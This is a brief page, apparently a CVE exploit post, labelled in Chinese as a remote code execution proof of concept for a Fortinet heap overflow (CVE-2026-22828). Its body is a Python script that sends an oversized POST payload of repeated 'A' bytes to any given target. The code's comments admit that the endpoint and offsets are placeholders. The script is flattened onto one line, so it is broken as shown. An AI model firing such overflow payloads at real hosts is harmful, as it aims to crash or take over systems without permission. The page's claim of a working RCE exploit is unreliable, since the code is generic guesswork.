CVE-2026-22828 Fortinet堆溢出远程代码执行漏洞

# This is a conceptual Proof of Concept (PoC) for demonstration purposes only. # It demonstrates the logic for sending a crafted request to trigger the buffer overflow. # Do not use against systems you do not own or have explicit permission to test. import socket import sys def send_exploit(target_ip, target_port): # Crafting a malicious payload designed to overflow the heap buffer # The specific size and offset depend on the target version and analysis payload = b"A" * 4096 # Placeholder for the buffer overflow pattern # Constructing the HTTP request (Hypothetical structure based on vulnerability type) # The actual vulnerable endpoint and HTTP method need to be determined through reverse engineering request = b"POST /vulnerable_endpoint HTTP/1.1\r\n" request += b"Host: " + target_ip.encode() + b"\r\n" request += b"Content-Length: " + str(len(payload)).encode() + b"\r\n" request += b"\r\n" request += payload try: print(f"[*] Sending payload to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.send(request) response = s.recv(1024) print("[+] Payload sent. Check target for crash or code execution.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 cve_2026_22828_poc.py <target_ip> <target_port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) send_exploit(target_ip, target_port)